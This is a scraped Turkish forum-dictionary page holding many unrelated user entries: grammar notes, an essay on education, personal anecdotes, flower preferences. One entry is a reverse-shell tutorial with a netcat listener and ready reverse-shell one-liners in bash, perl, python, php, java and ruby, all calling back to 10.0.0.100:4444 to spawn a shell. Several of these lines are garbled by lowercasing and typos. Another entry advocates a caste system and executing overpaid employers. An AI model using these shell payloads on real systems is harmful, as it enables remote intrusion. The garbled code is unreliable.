"ben bir şey istiyorsam onu mutlak suretle alırım."
devamını gör...

kullanıcı tarafından yüklenmiş görsel
devamını gör...

fiillerin çekimlenmemiş hali. arapça kökenli bir sözcük. genellersek, hemen her dilde fiillerin zaman ve şahıs eki almamış halleridir ve elbette her dilde farklılıklar gösterir. türkçede fiilin mastar hali yani çekimlenmemiş hali aynı zamanda o fiilin adıdır. isim olarak muamele görür. bu da pek çok kişinin aklını karıştırır. bu nedenle türkçede, bir fiilin, fiil olduğunu anlatmak için, o fiilin -fiil kök durumunda ya da türemiş bir fiil olabilir.- kök ya da gövdesinin yanına bir çizgi çekilir ve parantez içinde 'mak/mek/ma/me' yazılır.
örnekleyelim:
gör-(mek), sev-(mek), göz-le-(mek), sev-dir-(mek)........ (ilk ikisi kök durumunda, sonraki ikisi yapım eki almış yani türemiş fiiller ve biz böyle türemiş fiillere gövde durumundaki fiiller diyoruz.)
mastar ekleri olan '-mak/-mek/-ma/me' aynı zamanda az önce de değindiğimiz gibi fiilleri isimleştiren birer yapım eki olarak da görev yaparlar.
örnekleyelim:
"seni burada gör-me-y-i hiç beklemiyordum."
sev-mek zor zanaat kardeşim."
bunlara isim fiiller de denir. (bakınız: fiilden isim yapma ekleri--> (gbkz: isimfiiller), sıfatfiiller, zarffiiller)
bu durumda bunlar fiilimsiler başlığında incelenir. fiilimsiler, adı üzerinde hala fiil olma durumundaki iş, oluş, hareket özelliklerini korumaktadırlar. ama bu mastar ekleri bazen kalıplaşarak kalıcı isimler de yapar.
örnekleyelim:
"önce 'ek-mek'ler bozuldu."
"annem çok güzel 'sar-ma' sarar, 'dol-ma' yapar."
devamını gör...

bir çeşit elektromanyetik dalga.
bilgi için (bkz: morötesi)
devamını gör...

kullanıcı tarafından yüklenmiş görsel

(bkz: istanbul sarıyer)
devamını gör...

bir makaleden veya bir kitaptan online ortamda yararlanmamızı sağlayacak bildiğiniz site(ler) varsa başlığın altına bekliyorum.
o zaman ilk açılışı libgen ile yapıyorum.
edit: bir ekleme daha yaparak b-ok.as devam ediyorum
edit2: scihub
devamını gör...

kullanıcı tarafından yüklenmiş görsel
ev topuzumu yaptım, kekime de daldım!
şarkı ismini doğru bilene bir dilim kek, hadi bakalııım.
devamını gör...

beni düşüncelere gark eden sorunsaldır.

her mesleğin icrası için elbette farklı gereksinimler var ve insanlar kişisel özellikleri, ilgileri, önceki iş tecrübeleri ve bilgi birikimleriyle birlikte sosyoekonomik/epigenetik/sosyokültürel sayısız faktörle toplum içerisinde kendine bir rol ve görev biçmekte. ancak bazı meslekleri kavramak için mutlak bir bilgi haznesi olması gerekiyor insanın. bir avukat müvekkilini (hele ki türkiye gibi bir ülkede) vicdanı ile veya bir vakaya farklı bir bakış açısı sunarak kazanamaz; mevzuat vardır yasalar vardır anayasa vardır ve günümüz hukukunda suçlar neredeyse eksiksiz tanımlanıp muadil cezaları belirtilmiş. hukukun açık olduğu noktalarda konsensus da çağın getirisi olarak ivedilikle sağlanmakta. veya bir doktorun ''repertuarında'' sjögren sendromu veya ansızın hiponatremi sebebi veya ayakkabı bağcığını bağlarken hurler sendromu ile hunter sendromu arasındaki farklar, üstelik bunların patofizyolojik açıklamaları ve klinik bulguları; istenmesi gereken tetkikler mutlaka geçmeli. mutlaka benzer benzetmeler başka meslek grupları için de yapılacaktır. zaten bu ''niteliklilik'' hali için insanlar 4 sene lisans, 2-3 sene yüksek lisans yapıp üzerine ''ben bu konuyu başkasına anlatacak yeterlilikte biliyorum''u ispatlamak adına yine en az 2 sene doktora yapıyorlar. bunun dışında sahada tecrübe edinmesi vs cabası.

birçok otorite tarafından, bu ''örgün eğitim''in insanı ''dolaylı bir yolla medenileştirdiği'' öne sürülmektedir. nitekim bu geçmiş için doğruydu: x jenerasyonuna baktığımızda üniversite mezunları ve lise mezunları arasında belirgin farklar görünmektedir. bunun en önemli sebebi o dönem türkiye'de bir üniversite enflasyonu olmaması öğretim görevlisi enflasyonu olmaması, öğrenci enflasyonu olmaması ve en önemlisi de bu niş ortam içerisinde belirli ekollerin oluşabilmesiydi. bu ekoller ve kültür oluştukça artık fakültelerden sadece tıp insanı, hukuk insanı değil; itülü marmaralı hacettepeli odtülü çıkıyordu. bu ekol ile olan münasebet, kişinin karakterinde son derece olumlu değişimler yaratıyordu. tüm bu akademik enflasyonun akademileri kültürsüzleştirmesi ve köksüzleştirmesiyle beraber çağın zeitgeist'ının -yani düşünsel/sanatsal dünyası, zamanın ruhunun- da içinin boşaltılması ve hiçbir eğitim almayıp evinden oturarak milyon dolarlar götüren fırsatçıların övülmesi; gerçekten de hiçbir ''düşünür''ün kalmaması ve ''eğlendiriciler (entertainer)'' olduğu sürece düşünür'e ihtiyacın da talebin de olmaması ve kar odaklı multinasyonel şirketlerin aslında bir avuç insan ve bir köle ordusu ile işi götürebiliyor olduklarını fark etmeleri; gençler arasında tıpkı beat kuşağında olduğu gibi (ama bence kat kat yoğun bir şekilde) umursamazlık ve aldırışsızlıkla beraber giden bir hazcılık ve tembelliğin doğmasına sebep oldu.

sonuç olarak gençlik ve eğitim bozuldu. buna rağmen bazı meslekler var ki bu mesleklerin icrası için ''cephanede bulunması gereken mermi sayısı'' bir elin parmağını geçmez. bir amelenin mesleğini en iyi şekilde icra edebilmesi için ''bilmesi'' gereken şeyler sınırlıdır. eğer bilgisi yetmiyorsa, inşaatın başındaki inşaat mühendisi o malzemenin nasıl yapılması gerektiğini tarif etmekle görevli. nitekim aynı iş bir insana gelecek de vaat etmiyor. bir insan cv'sine 20 yıldır inşaatlarda ustayım yazdığında (bkz: cv'si olan inşaat amelesi) hiçbir işveren etkilenip şapkasını önüne koymuyor. en fazla yapacağı şey şantiyeyi emanet edebilmek işçilerin başına koymak. kariyer olarak bu insanın daha da ileriye gidebilmek gibi bir şansı yok. dolayısıyla bu kişi kendi sıkışık kaldığı sosyal statüde gerim gerim gerilmeye ve nobranlaşmaya başlıyor. bir bardak su içişi de, bir selam verişi de sanki boğazlayıp öldürecek gibi oluyor. bir taksici belki bütün gün o direksiyon başında hayatının bittiğini ve bütün gün birilerinin ağız kokusunu çekeceğinin farkında. mevcut düzende kazanabilecekleri maksimum paranın, belki hastalansa eğer sigorta karşılamazsa geberip gideceğinin farkında.

öyleyse alalım çocuklarımızı, hepsini sokalım üniversite sınavına ve hepsini 4 senelik fakültelere yazdıralım. o üniversitelerden çıkan insanların %1'i belki mesleği hakkında ''azıcık'' fikir sahibi olacak ve belki keşfedilip kurtulacak. geriye kalan %99 ne çocukluğu boyunca esnaf gibi çalıştı, ne de garsonluk yaptı; hiçbir sektörde tutunamaz. olmadı değil mi? olmadı. öyleyse sadece o %1'i bir şekilde eleyip üniversitelerde yetiştirelim? belki o %1 için hayat hoş olur; ama geriye kalan %99'un günden güne büyüyen huzursuzluğunu hayal edemiyorum... öyleyse ne?

elbette çözüm meslek okullarının iyileştirilmesi ve değer görmesi; bir marangozun (ki marangozluk hiç beceremediğim, çok saygı duyduğum ve çok zor bir meslektir) mesleki eğitimi için ilkokul 4. sınıftan itibaren belki 10-15 sene çıraklık/kalfalık yapması. belirli zanaatkarlıklar ve hizmet sektörüne ait meslekler için bu olabilir. aynı iyileştirmeler bir fabrika işçisi için de yapılmalı, bir taksicinin örneğin 3-4 dil bilmesi gerekmeli. bir temizlikçiye öyle eğitimler verilmeli ki şunu demeliyiz: ''abi biz temizlik nasıl yapalım??''

ama işte bu noktada bile bir sorun var... bir otobüs şoförünü belirli bir noktaya getirdiğini varsayalım: o otobüs şoförünün çantasından nasıl baudrillard'ın bir kitabı çıkabilir? veya bir terzi nasıl gelinim kaynanamla programı yerine bir sanat filmi izler? bir bakkalı baştan yarattın diyelim veya mezrasında bir köylüyü; nasıl o köy evinde açık toplum konuşulacak? nasıl şemdinli'de mini etekli bir lezbiyen çift köylü bir nineyle şarap içerken türkiye'yi ne kadar sevdiklerinden bahsedecekler (buradaki mini etek ve lezbiyen stigmatizasyonunu bilinçli yapıyorum; bunlar ''marjinal'' oldukları için değil en büyük zulmü gördükleri için)?

bunun cevabı aslında yanlış sorunun sorulmasında yatmakta. bugün siyasetçiler için getirilmesi istenen (aslında gaipten beri istenen ama ''nedense yapılmayan'') siyasi ahlak yasası, aslında bakarsanız toplumun tamamı için getirilmeli. dönüşmesi gereken insanlar var. bir insanla ötekisinin görüşü eşit olamaz. ben gidip sanat tarihi hakkında ileri geri konuşsam birisi gelir ağzımın payını verir. vermeli de; çünkü benim görüşüm onun görüşünden değersiz ''o konuda''. bir taksici ile yoldayızdır ve ben soldan o sağdan gidelim der. öyleyse sağdan gidilmelidir; zira onun görüşü belki de günde 10 saatten 10 yıllık bir birikime dayanmaktadır.

peki ya yaşamak? şuurlu, bilinçli ve iradeli yaşamakla; şuursuzca ve umarsızca yaşamak arasında fark yok mudur? yaşamak da tıpkı vinç opere etmek, bir nevüsün biyopsisini almak ya da bir tarlaya ne ekip ne kadar sulayacağını bilmek kadar şuur gerektirmez mi? bir birey olmak, bir karakter olmak, benim adım x diyebilmek çok mu kolay? belki vinç sürmekten, sentinel lenf nodu rezeksiyonu yapmaktan bin kat daha zordur onurlu bir hayat yaşamak. ülkemizde ve dünyada ödüllendirilmeyen tam da bu. bunların hiçbirini yapmadan manda gibi yaşayıp ülkenin nimetlerinden faydalanmak veya sabah akşam kalkıp pestil gibi yatıp hükümet böyle ya diyip sallamak ne kolay!

öyleyse bir kast sistemi gelmeli. her dinde (islamiyettekinin adı takva), her meslekte, her kültürde hiyerarşi insanın doğasında varken bunu inkar etmeye çalışmak beyhude bir çaba. demokrasi, şahsiyet olmak gibi son derece zorlu bir meziyetin ilüzyonunu köydeki ismail enişte'ye bile vermiş noktada. bu noktada öyle bir kriter belirlenmeli ki insanlar şuurlarına göre sıralansın. bu sıralamanın en üst noktasındaki kişi için ''makul derecede'' bir avantaj olmasıyla beraber en alt sıradaki vatandaşlar zoraki olarak günde 4-5 saat zorunlu kamu hizmeti yapıp geri kalan vaktinde bir rehabilitasyon merkezinde rehabilite edilmeli. zannediyorum ki bu kriterler içerisinde etik kabuller (atıyorum eşcinsele, kadına, köpeğe, çocuğa, erkeğe, yaşlıya, ağaca gibi varlığın tüm ögelerine mutlak sevgi, şefkat ve kabulü öneren bir ''universal moral''), felsefe, edebiyat, sanat tarihi gibi insanı hayvandan ayıran tüm yetkeleri ve entelektüel birikimi ölçen bir sosyal bilimler sınavı olmalı.

sanırım çin halk cumhuriyetiyle roma cumhuriyetinin bir karmasını hayal ediyorum.

edtit: eklemeyi unutmuşum

böyle bir toplumda, yani herkesin (en azından bir noktaya kadar) zoraki olarak entelektüel olduğu ve gelir adaletinin sağlandığı noktada (atıyorum bir futbolcunun veya dünyaca ünlü bir sanatçının maksimum kazanabileceği kazancın bir kasiyerinkinin 2-3 katı olduğu, bir müteahhitin veya bir fabrikatörün kendi işçisinden 4 kat fazla kazanıyorsa idam edilmesi gibi; zira ancak bu sayede bir kasiyer basiretli bir ömür geçirebileceği bir kazanç sağlar ve geleceğe umutla bakabilir) bir inşaat işçisi eğitilmesine rağmen gülümseyerek sıvasını sürebilir.

edit 2: #1554271 'ye ithafen;

aslında yapmak istediğim tam da ne biliyor musun, iki kenarından o eğriyi bastırmak. %50 noktasına yaklaştırmak ve marjin ve orta arasında o mesafeyi sıfıra yakın hale getirmek. ancak bu yolla ''tüm eğriyi sağa kaydırabiliriz''. bugün zenginin zengin, fakirin fakir olduğu sistemde tüm ekonominin iyileştiğini ve ''büyüdüğünü'' varsayalım. belki %95 o büyümenin %10'undan nemalanırken çok ufak bir kesim tüm gönenci eline geçiriyor. geçiriyor çünkü kendi yaşam düzeni bunu gerektiriyor. bornozu ve 20 yıllık şarabını yudumlarken haberleri izlemesi için 20 milyar dolarlık köşkünden sadece sahip olması yetmez; ''sürekli bir o kadar daha kazanmaya devam etmesi'' gerekir. işte bu ''gereksinim'' tüm ülkeyi mahvediyor. eğer ancak bir bütün olarak yakın ve basiretli bir yaşam sürersek ekonomimizi gerçek anlamda büyütür ve asıl o zaman ''ulus olarak standartlarımız norveç gibi olur''.
devamını gör...

tarımı ihmal eden ülke intihar ediyor demektir. gelişmiş ülkelerin semalarında ne kadar uçağın uçtuğu değil, ne kadar çok arının uçtuğu önemlidir. eğer arılar ölürse, sonraki yıllarda insanlar da ölür.
albert einstein.
devamını gör...

aradan altı yıl geçtikten sonra pişman olan, suçunu reddit'de yazan adamdır. *

yazdığına göre kedi çok agresifmiş ve sürekli onu tırmalıyormuş.
bir akşam eşi evde yokken, aynı renkte sakin siyah bir kedi bulup değiştirmiş.

eşi de ne oldu bizim mırmıra da bir anda duruldu dememiş *

çift hala aynı kediyle yaşıyormuş.
adam da ne zaman kediye baksa vicdan azabından geberiyormuş.

kaynak

kullanıcı tarafından yüklenmiş görsel
devamını gör...

lan oğlum o tostun içine kilosu 100 lira olan sucuk ile kilosu 50 lira olan kaşar peyniri koyuyorum, bunun neresi varoşluk awk.
devamını gör...

bana susurlukta ağlayarak tost yedirten, popülariteden uzak şekilde, insanın içine dokunan sabahattin ali kitabı
devamını gör...

bence de yakışana yakışıyor. bakımını düzenli yaptıktan sonra neden olmasın ki diyorum.
sırtımın ortasına kadar gelen saçımla 7 senedir güzel güzel geçiniyoruz. şimdilik kavga gürültü yok.*
devamını gör...

reverse shell nedir?

ters kabuk olarak türkçeleştirebildiğimiz ana bilgisayar üzerinden değil uzak bi bilgisayar üzerinden remote code execution zafiyetinden yararlanarak hedef makinede etkileşimli bir shell elde etmek ve saldırıyı derinleştirebilip root yetkisi kazanabbilmek için yapılan bir saldırı çeşididir. bugün ters kabukların pratik olarak nasıl çalıştığını açıklayacağız.

reverse shell nasıl çalışır?

ağ üzerinde bulunan bir hedefe bağlanabilmek için saldırgan makineye bir bağlanma isteği yollar ve bir oturum ister. ters kabuklar genellikle bir nat arkasındaki ana bilgisayara uzaktan erişim sağlamanın tek yoludur. bu sebeple meşrü kullanımları da vardır. fakat, siber güvenlikçiler ve hackerlar tarafından bir güvenlik sistemleri tarafından gelen bağlantılardan korunan ana bilgisayarda işletim sistemi kodlarını yürütmek için de kullanılabilirler. örneğin bir e-ticaret sitesine yüklenen zararlı kod kötü amaçlı bir web sitesi bir komut sunucusuna giden bir bağlantı başlatabilir ve saldırgana bu sayede app üzerinde bir reverse shell çalıştırabilir. güvenlik duvarları çoğu zaman bu trafiği filtreler ve bu nedenle listening server'a giden bir bağlantı genellikle başarılı olur.

reverse shell kod örnekleri

saldırgan ilk olarak reverse shell sayesinde aldığı bağlantiları dinlemek için kendi ana bilgisayarında bir dinleyici başlatması gerekir. vereceğim öğrenklerdeki dinleyicilerin ıp adreslerini 10.0.0.100 olarak bağlanamk istediğimiz port ise 4444 olsun. eğer bir linux kullanıcısıysanız bir netcat dinleyicisi başlatmak çocuk oyuncağıdır.

"nc -nvlp 4444"

bu 4444 numaral port'ta bir netcat dinleyicisi başlatır. saldırganın şimdi yapması gereken şey bu makineye uzaktan bağlanabilmek için hedef makinede saldırı kodunu yürütmeesi gerekir. çeşitli sistemler ve diller için birçok hazır reverse shell kodu mevcuttur.
link
pentestmokey bizim için yazıp bırakmış fakat nasıl çalıştığını görebilmek için birkaç tane basit reverse shell kodu yazalım

bash reverse shell

hedef linux bir makinada çalışıyorsa neredeyse tüm linux makinelerde bash bulunduğundan dolayı
bash ile başlamak akıllıca bir seçenektir.

/bin/bash -i > & /dev/tcp/10.0.0.100/4444 0>%1

perl reverse shell

bash gibi perl'de linux makinelerde default olarak gelen bir dildir. bunun içinde bir reverse
shell yazalım.

perl -e "use socket:#i="10.0.0.100";$p=4444;socket(s,pf_ınet,sock_stream,getprotobyname("tcp"));if(connect(s,sockaddr_in($p,inet_aton($i)))){open(stdın,">&s");open(stdout,">&s");open(stderr,">&s");exec("/bin/sh -i");};'

python reverse shell

evet geldik yine pythona son zamanlarda kazandığı popülarite ve yine linux makinelerde
defualt olarak geldiğinden python ile de bir reverse shell yazalım.

python -c 'import socket,subprocess,os;s=socket.socket(socket.af_ınet,socket.sock_stream);s.connect(("10.0.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php reverse shell

hala daha pek çok web server php üzerinden çalıştığından dolayı pek çok eğitim sitesinde
ctf'lerde en çok gördüğünüz kabuktur. (&3 eğer çalışmıyorsa yanında yazılan diğer değerleri
deneyin.

php -r '$sock=fsockopen("10.0.0.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

java reverse shell

javayı hiç sevmem zerre haz etmem kendisinden fakat bu application serverlarda kullanıldığı gerçeğini değiştirmiyor. (java severler ve oop'yi koruyalım kolluyalım ve ona adaklar adayalım
derneği lütfen az linçleyin). bak bunun için gittim biraz java öğrendim geldim.

run = runtime.getruntime()
port = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.0.0.100/4444; cat <&5 | while read line; do \$line 2>&5 >&5; done] as string[])
port.waitfor()

???? ??????? ?????

yaklaşık 5 senedir her ay öğreneceğim diyip öğrenmediğim kod okuya okuya aşina olduğum bir dildir kendileri. sunucu içinde ruby interpreter'ının bulunmasının muhtemel olduğundan dolayı son olarak bunu da son örneğimiz olarak ekleyelim

ruby -rsocket -e'f=tcpsocket.open("10.0.0.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

örneklerimiz tükendi ben bildiklerimi tekrar etmiş oldum ve yine güzel bir kaynak ürettik gibi geliyor. gelecekteki konulara kadar sağlıcakla kalın efendim guardian kaçar.
devamını gör...

aldatmak hakikaten affedilir bir hata değil. aldatılan kişi ister istemez kendini yetersiz hissediyor. bir insana bunu hissettirecek kadar alçalmamak gerekiyor. ilişkilerimizi biz; "gelin olmuş gidiyorumdur" kafasında yaşıyoruz. ihtimalleri umursamıyoruz pek. haliyle çok fazla yatırım yapıyoruz muhatabımıza. ben naçizane birini seviyor olmanın onun bütün ayıplarını görmezden gelmek hatasına beni sürüklediğini fark edip buradan çok zor çark eden biriydim. narsizmim bu boyuttaydı. "ben seviyorsam vardır bi bildiğim" diyordum. hiç aldatılmadım ama berbat şeyler yaşadım. aldatılmakla suçlandım örneğin.

bunlar seçimlerimiz. üzülmemek için bazı şeyleri kabulleniyoruz. üzerini örtüyoruz. görmezden geliyoruz. aşk güzel tabii ama insanı bu kadar düşüren başka bir duygu var mıdır? hakikaten bi düşün rica ederim. asla yapmayacağın biçok şeyi mantıklı kılıyor gözünde. insan onurunu ayaklar altına alan bir duygu bu. çok yoğun ve boş. muhakkak bitiyor. muhakkak bitecek.

aldatmak da affedildiği zaman tekrarı olabilecek bir ayıp. daha gizli daha seyrek yapar ama yine yapar. ben affetmezdim. büyük konuşmayayım, tutulurum birine, gözlerim kör olur aşkından affederim ama allah düşürmesin bu hallere kimseyi.

bir kere aldatılmayı bırak, açıkçası yan gözle ya da şehvetle bile birine bakabilen birini sevemem. eskisi kadar yoğun sevemem ya da. biri için alternatiflerden biri olmayı egom kaldırmaz. aşıksam da kaldırmaz. kendimi biliyorum. ya o alternatiflerden çıkarım ya da muhatabımı benden vazgeçemeyecek hale getiririm. bu da zaman kaybı. değmez. kalpten söylüyorum bunu değmez. çok çabalıyorsunuz, el yordamıyla düzeltmeye çalışıyorsunuz ve diğer bütün ihtimalleri, diğer bütün kişileri görmezden geliyorsunuz günün sonunda üç dört senelik boş ilişkilerden enkaz altında kalarak zar zor çıkıyorsunuz. hiçbir sonuç alınamıyor.

sevgi aldatmayı kurtarmaz. sevgi, sevgiyle çözülebilecek şeylerin kurtarıcısıdır. ihanet başka bir kategori. bunu söylemek benim için zor ama öyle. eskiden garipsediğim ne varsa sınav mıdır nedir yaşıyorum. yaşadım da. o yüzden hatayı affedin hatadır. bir vazodur kırılır. yenisini alırsın. ağzından bir laf çıkar incinirsin hemen iyileşir orası güzel şeyler de söylemiştir sana. kötünün etkisi hemen geçer. ilgilenemiyordur meşguldür kafası karışmıştır hepsine tamam. tamam değil ama tamam. hepsini kalpten kabul edebilirsin. önce olmaz ama sonra edersin. sen de yaşarsın bu dönemleri. ama aldatmak hayır. benden başka birine dokunmasını, benden başka birine sarılmasını, benden başka birine sadece benim olması gereken şeyleri sunmasını kabullenemem sanırım. sen beni aldattığında benim sende özel kıldığım şeyi özel olmayan birine sunarak dolaylı yoldan beni ve benim sende temsil ettiğim her şeyi sabote ediyorsun. benim seni sevdiğim bütün sebepleri, ötekine kolayca sunarak bendeki çaba ve emeği değersizleştiriyorsun. benim varlığımla hak edişimle, sendeki izimle sende hiçbir anlamı olmayan ve olamayacak olan bir ötekiyi eşitliyorsun. bir kral her şeyden önce kraldır. sonradan kral olsa bile artık her şeyden önce kraldır. bu özelliği onda baskın gelmiştir bunu kaybetmek istemez. insan bile değildir artık kraldır. benim eşsizliğimin sende yansıyan tarafını böyle ayaklar altına alabilmek hangi saikle olursa olsun büyük bir ayıp. kar zarar hesabı yapamamak büyük bir lanet. ne haz ne de küçük hesaplar günü kurtarmaz. insan hep büyük bir hedefe yürümek ister. yoldaki küçük engellerde bile sendeleyen, düşünce düştüğü yerde asırlarca kalan bir ruhun açıkçası ayağına göre değil bu yol.

aldatıyorsan beni aldattığın kişiye layıksın. seven insan çok çabuk kandırılır. ne var onu kandırmakta? zaten inanmaya çok hazır bir kalple yanında duruyor. buradaki kolaylık masumlukla iç içe. diğer kolaylıkların muhakkak bir pisliği var.

aldatan affedilmeli mi? hayır. ama aldattığı kişiye mahkum edilerek muhakkak cezalandırılmalı. pespaye bir tipi tahta oturtsan bağdaş kurar. tahtın ağırlığını kaldıramaz. saçmalar. o yüzden affetmek gibi bir yüksek çabayı daha mühim meselelerde vermek gerekiyor.
devamını gör...

kullanıcı tarafından yüklenmiş görsel

her şey bi kova mandalina etrafında şekillenmişti…
hayatımın ilk 15 yılı bir apartman dairesinde geçti. kirada oturuyorduk. ev sahibimiz babamın akrabasıydı. birçok şeyi orada yaşadık. mesela; en sevdiğim terliklerim dilenci tarafından çalındı. belli süre sonra kapının önüne bırakıldı. o vakitten sonra terliklerimi kapının önünde bırakmamayı öğrendim. aslında anlatılacak çok şey var da benim olayım bu bir kova mandalina üzerine…

evimizin bir cephesi mahalleye bakarken bir cephesi ev sahibinin bahçesine bakıyordu. bahçede de mandalina ve erik ağacı vardı. ikisi de zıt mevsimlerin ağacı. imrenirdim. imrenmemin sebebi meyvelerin çokluğu için değildi; sonuçta evimizde meyve eksik olmazdı. imrenmemin sebebi; bizim de bahçemiz olsa bizim de bahçemizde bir sürü ağacımız olsa ve o meyveleri toplasaydık. mandalinalardan, eriklerden koparırdık; ama her şey gibi onlar da sınırlıydı. sınırlar; biraz tok gözlü büyümekten biraz da kendinin olmayınca bi anlamı olmayışındandı

hiç unutmam; bir keresinde - ev sahibimizin torunu da bizim üst katımızda oturuyordu, kızla aynı yaştayız. - ev sahibinin torunuyla bahçeye girdik. erik mevsimi. en fazla 15 dakika kadar bahçede durduktan sonra “çıkalım artık.” dedi. mecburen çıktık. onun gittiğinden emin olduktan sonra deli dana gibi bahçeye saldırdım. ceplerimi erikle doldurdum. yaptığım ilk ve son hırsızlık denebilir. düşününce bu yaşta bile mahcup hissediyorum.*

üstüne zibilyon sene geçti. bir bahçemiz oldu. ilk başta sadece bahçe olarak kullandığımız yere müstakil bir ev yaptık. bahçeye dikilebildiği kadar ağaç dikildi: zeytin, ceviz, kiraz, vişne, armut, nar, erik, dut, limon, mandalina (3 adet) ağaçları; böğürtlen, fındık, asma… mevsimine göre meyveleri aldık, alıyoruz, alacağız. sadece biz almıyoruz elbette; gelen geçen, canı çeken herkes aldı, alıyor, alacak. her daim paylaştıkça çoğalır mottosu ile hareket edince yaşamak daha keyifli oluyor. dün mandalina toplarken bütün gün kirada oturduğumuz ev, mandalina ve erik ağacı aklımdaydı. doyasıya meyve toplayabildiğim için gülümsedim. her mevsim böyle oluyor. bahçeye indiğimde çocuklaşıyorum. çocuk mutluluğum ne bahçeye, ne eve, ne yaşadığım sahil kasabasına, ne ilçeye, ne ile sığıyor. taşıyorum resmen.

ilerde bi gün çocuğum olursa, olacaksa bahçeye inip özgürce ağaçtan ağaca koşturmasını, dallara uzanıp, hiçbir sınır olmadan meyveleri koparmasını hayal ediyorum şimdi. ilerde bir gün… belki…

ve tüm bunlar için teşekkür ediyorum. *
devamını gör...

bilinçaltı'nın seninle kafa bulması.labirent'den bir an önce çıkmak isterken yolları başka yerlere çıkarır.uyandığınızda acaba psikolojim mi bozuldu bu nasıl bir kafa dedirtir.dışardan iyi içerden gerilim türü beyin fırtınası.bir nevi beynin gece mesai'si.
devamını gör...

bir küçük anı paylaşayım mı sizinle millet? kim cevap verecekse? ayh boş yapma miko. başla işte.

şimdi bir süredir, aslında hayli uzun süredir takip ediyorum ben sevgili kızkardeşim _mor'u. severek, beğenerek, kendisinin hakim olmadığını çok sonra, birazdan bahsedeceğim bir diyalogumuzda belirttiği ama beni konu hakkında ikna edemediği feminist terminolojisini de gayet takdir ederek. ben insanları içselleştirmek konusunda çok sorun yaşayan biri değilim. hiç tanımadığım insanlarla onlar farkında olmadan bağ kurarım, falan. bunlar benimle ilgili konular. aslında tartışmaya/eleştiriye de açıklar. gelgelelim _mor ile de buna benzer bir bağ yakaladım ben. sessiz sessiz , hiç iletişmeden bir süre okudum kendisini. sonra günlerden bir gün çok yumuşak bir karnımdan beni yakalayan bir başlığa tıkladım korka korka. okuyacak belki biraz ağlayacak gidecektim. çok fazla entry yoktu. bir tanesi de _mor'a aitti. okumayı bitirdiğimde başlığa gelirken hissettiklerimden çok başka şeyler hissediyordum. net bir agresyon. kontrolümü yitirmeme sebebiyet verecek bir sinir. 5. entry'i girdim mezkur başlığa. şimdi ben normal hayatında seksist olmamasına özen göstererek argo kelimeler kullanan bir insanım. ama iyi bir sözlükçüyüm. kafa sözlüğün bu konudaki kuralına da riayet ediyorum. altında yatmakta olduğunu düşündüğüm görüşe de saygımdan zannediyorum bu kuralı hiç çiğnemedim o güne değin. ancak o kadar sinirliydim ve üzgündüm ki ve hatta itiraf ediyorum o kadar hayal kırıklığı yaşıyordum ki baştan aşağı argo bile değil küfür içeren bir entry girdim o başlığa tam da _mor'un entry'sinin altına. sonra da hadi gidin bunu şikayet edin diyerek entry'i bitirdim. derhal _mor'u takipten çıktım ve kendimi oyalayacak bir şeyler aramaya başladım. bir süre geçti. birkaç saat zannediyorum. entry ile ilgili işlem yapılmadı. arada girdim baktım, başka biri de entry girmedi. sol frame'den düştü düşecek derkeeenn _mor bana mesaj attı. kendisine yönelen, son derece tahrik edici bu entry'nin üzere _mor bana öyle bir net duruşla beni anladığını ama benimle aynı şeyleri yaşamamış olması, dolayısıyla da aynı duygu durumunu paylaşmadığı için özür dilemesi gereken bir şey olmadığını düşündüğünü, buna rağmen yazdığının beni ne kadar incittiğini tahmin ettiği için üzgün olduğunu ifade etti ki yani ne diyeceğimi gerçekten bilmiyorum. o esnada biliyordum gerçi; aynı yüksek perdeden cevap verdim kendisine. geri adım atmadım; geri adım atmadı. ama buna rağmen bana kendisini o kadar sinirli olmama ve onu anlamaya kapalı olmama rağmen anlatacak kadar olgun olmayı başardı. tekrar ediyorum, çok hassastım, çok kırılgandım, çok sinirliydim ve kılıçlarım çok keskindi. hiç yutkunmadan da bunu ona yansıttım ancak karşımdaki kadın olanca sakinliği ile geri adım atmadan, bir konuda birden fazla insanın başka başka tür haklılıklarda olabileceklerini bana tane tane açıklayacak kadar sağduyulu, benim üzüntümü o esnada onunla hiç paylaşmak istemezken paylaşacak kadar empat ve kendisine yönelen hakaretamiz söylemleri beni tahrik ettiğini düşündüğü için kişiselleştirmeden göğüsleyecek kadar egosundan azade bir duruş sergiledi.

bakın. bunlar çok önemli meziyetler. iyi ki kızkardeşlik dedirten cinsten benim dünyamda. ve _mor sen o gün o mesajlaşmada defaatle belirttiğin gibi feminist olmasan da olur. kadın olan tüm kadınlara; insan olan tüm insanlara...

selam _mor, n'aber? her kimsen, kendini nasıl tanımlıyor ya da tanımlamıyorsan...
devamını gör...

sümbül-öyle güzel bir koku olamaz.
gül- gerek kokusu gerek görüntüsü ile çiçeklerin kraliçesi
lale- inanılmaz estetik bir çiçek , ayrıca kültürümüzdeki yeri çok hoşuma gidiyor.
hanımeli- kokusu oldukça cezbedici. bir de çocukken bunun balını yerdik.

edit :
#1611254 no 'lu tanımın hatırlatması ile lavanta : muhteşem kokulu, sakinleştirici çiçekler... sevmemek mümkün mü?
devamını gör...

genelde burnuma asit kaçtığı için gözüm yaşarır. ama ağlamam.
devamını gör...

normal sözlük'ü kullanarak 3. parti dahil tarayıcı çerezlerinin kullanımına izin vermektesiniz. Daha detaylı bilgi için çerez ve gizlilik politikamıza bakabilirsiniz.

online yazar listesini görmek için lütfen giriş yapın.
zaman tüneli köftehor rehberi portakal normal radyo kütüphane kulüpler renk modu online yazarlar puan tablosu yönetim kadrosu istatistikler iletişim